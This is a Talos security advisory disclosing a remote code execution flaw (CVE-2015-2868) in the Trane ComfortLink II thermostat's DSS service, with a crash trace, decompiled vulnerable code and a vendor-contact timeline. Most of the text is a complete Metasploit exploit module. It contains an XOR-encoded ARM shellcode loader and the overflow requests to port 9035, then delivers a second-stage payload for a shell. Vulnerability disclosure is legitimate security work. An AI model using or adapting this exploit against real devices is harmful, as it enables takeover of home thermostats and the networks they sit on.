Talos Vulnerability Report

TALOS-2016-0027

Trane Comfortlink II DSS Service REG Handling Remote Code Execution Vulnerability

February 8, 2016
CVE Number

CVE-2015-2868

DESCRIPTION

An exploitable remote code execution vulnerability exists in the Trane ComfortLink II DSS service. An attacker who can connect to the DSS service on the Trane ComfortLink II device can send an overly long REG request that can overflow a fixed size stack buffer, resulting in arbitrary code execution.

TESTED VERSION

Trane ComfortLink II - firmware version 2.0.2

PRODUCT URLS

http://www.trane.com/residential/products/thermostats-and-controls/comfortlink%E2%84%A2%20ii-thermostats-and-controls

DETAILS

The crash below is in the reg command parsing functionality of the DSS service:

# Crash 2
# data = "A"*200
# s.write("reg 1#{data}1234\r\n")
# Program received signal SIGSEGV, Segmentation fault.
# 0x41414140 in ?? ()
# (gdb) bt
# 0  0x41414140 in ?? ()
# 1  0x00008f2c in iHer_discRegPutEntry ()
# 2  0x41414140 in ?? ()
# 3  0x41414140 in ?? ()

Below is a decompiled representation of the iHer_discRegPutEntry function:

int __fastcall iHer_discRegPutEntry(int a1, int a2, const char *a3, int a4)
{
  int v4; // r6@1
  int v5; // r7@1
  const char *v6; // r8@1
  int v7; // r10@1
  int v8; // r0@1
  int v9; // r5@1
  int *v10; // r4@2


  v4 = a1;
  v5 = a2;
  v6 = a3;
  v7 = a4;
  v8 = iHer_discRegGetFirstEmptyEntry();
  v9 = v8;
  if ( v8 != -1 )
  {
    v10 = &herDiscRegServiceRegistry[11 * v8];
    *v10 = 0;
    v10[1] = v4;
    v10[2] = v5;
    strcpy((char *)v10 + 12, v6);
    v10[10] = v7;
  }
  return v9;
}

We can see there is useage of an unsafe call to strcpy that does not verify the sizes of the source and destination buffer. An overly long user input results in a buffer overflow on the stack.

EXPLOIT

The following Metasploit module will demonstrate remote code execution due to the vulnerability:

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
    Rank = AverageRanking


    include Msf::Exploit::Remote::Tcp


    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Trane DSS Service Buffer Overflow',
            'Description'    => %q{
                Shell, yay!
            },
            'Author'         =>
                [
                    'hal',
                    'kmx'
                ],
            'License'        => MSF_LICENSE,
            'Version'        => '',
            'References'     =>
                [
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "",
                    'DisableNops' => false,
                },
            'Platform'       => 'linux',
            'Arch'       => ARCH_ARMLE,
            'Privileged'     => true,
            'DefaultTarget'  => 0,
            'Targets'        =>
                [
                    [ 'Universal', { 'Ret' => 0x00011d3c } ]
                ],
            ))


            register_options([Opt::RPORT(9035)], self.class)
    end




    def exploit
        
        lop =   [
                0xeafffffe


            ].pack('V')


        xor =   [
                0xe28f7018, # add     r7, pc, #24
                0xe3a06078, # mov     r6, #120  ; 0x78
                0xe3a04088, # mov     r4, #136  ; 0x88
                0xe7d73006, # ldrb    r3, [r7, r6]
                0xe0233004, # eor     r3, r3, r4
                0xe7c73006, # strb    r3, [r7, r6]
                0xe2566001, # subs    r6, r6, #1
                0x5afffffa  # bpl     c <.text+0xc>


            ].pack('V*')


        loader = [
                0xe3a07001, # mov       r7, #1
                0xe1a07407, # lsl       r7, r7, #8
                0xe287701d, # add       r7, r7, #29
                0xe1a0100d, # mov       r1, sp
                0xe3a02080, # mov       r2, #128        ; 0x80
                0xe92d0004, # push      {r2}
                0xe1a0200d, # mov       r2, sp
                0xe3a03080, # mov       r3, #128        ; 0x80
                0xe3a04005, # mov       r4, #5
                0xe3a0c000, # mov       ip, #0
                0xe59f0074, # ldr       r0, [pc, #116]  ; a4 <.text+0xa4>
                0xef000000, # svc       0x00000000
                0xe3500000, # cmp       r0, #0
                0x4afffffb, # bmi       28 <.text+0x28>
                0xe1a06000, # mov       r6, r0
                0xe3a07001, # mov       r7, #1
                0xe1a07407, # lsl       r7, r7, #8
                0xe2877023, # add       r7, r7, #35     ; 0x23
                0xe1a0100a, # mov       r1, sl
                0xe3a02b01, # mov       r2, #1024       ; 0x400
                0xe3a03000, # mov       r3, #0
                0xe1a00006, # mov       r0, r6
                0xef000000, # svc       0x00000000
                0xe3500000, # cmp       r0, #0
                0x4afffffc, # bmi       58 <.text+0x58>
                0xe12fff3a, # blx       sl
                0xe12fff3a, # blx       sl
                0xe12fff3a, # blx       sl
                0xe12fff3a, # blx       sl
                0xe12fff3a, # blx       sl


            ].pack('V*')


        # XOR encode the loader with a static key
        encoded = ""
            loader.each_byte do |byte|
                    encoded << (byte ^ 0x88).chr
            end


        print_status("Trying target #{target.name}...")
        connect


        # First call sets up the shellcode
        data = "\xff" * 52 + xor + lop + encoded  + "\xff\xff\xff\xff"
        sock.put("reg #{data}\n")


        # Second call overwrites PC
        data =  "\xff" * 45
        data << [target.ret].pack('V')
        sock.put("reg 1 #{data} 1234\n")


        print_status("Loader sent. Sleeping 2 seconds") 
        select(nil,nil,nil,2)
        disconnect
        
        print_status("Sending primary payload")
        connect
        sock.put(payload.encoded)   
        
        handler


        disconnect

     end

end

Timeline

2014-04-09 - Initial contact with Trane is established. Advisories delivered.
2014-06-03 - Second attempt to contact Trane for follow up. No response received.
2014-08-15 - Third attempt to made to contact Trane for follow up. No response received.
2014-09-30 - Fourth attempt to contact Trane is made. Advisories re-sent. No further correspondence.
2015-05-26 - CERT/CC notified. CERT attempts to establish contact with Trane, but receives no response.
2015-07-13 - Fifth and final attempt to contact Trane is made. Communication is reestablished. Advisories re-sent.
2015-08-19 - Talos follows up with Trane. No patch available.
2015-09-30 - Talos follows up with Trane again. No patch available.
2015-10-19 - Talos follows up with Trane again. No patch available.
2016-01-26 - Talos follows up with Trane again. Trane informs Talos that firmware version 4.0.3 is being released that week which addresses TALOS-2015-028.
2016-01-27 - Trane makes firmware version 4.0.3 available to the public.
2016-02-08 - Talos and CERT/CC disclose these vulnerabilities.

Credit

Discovered by Matt Watchinski and Christopher McBee of Cisco Talos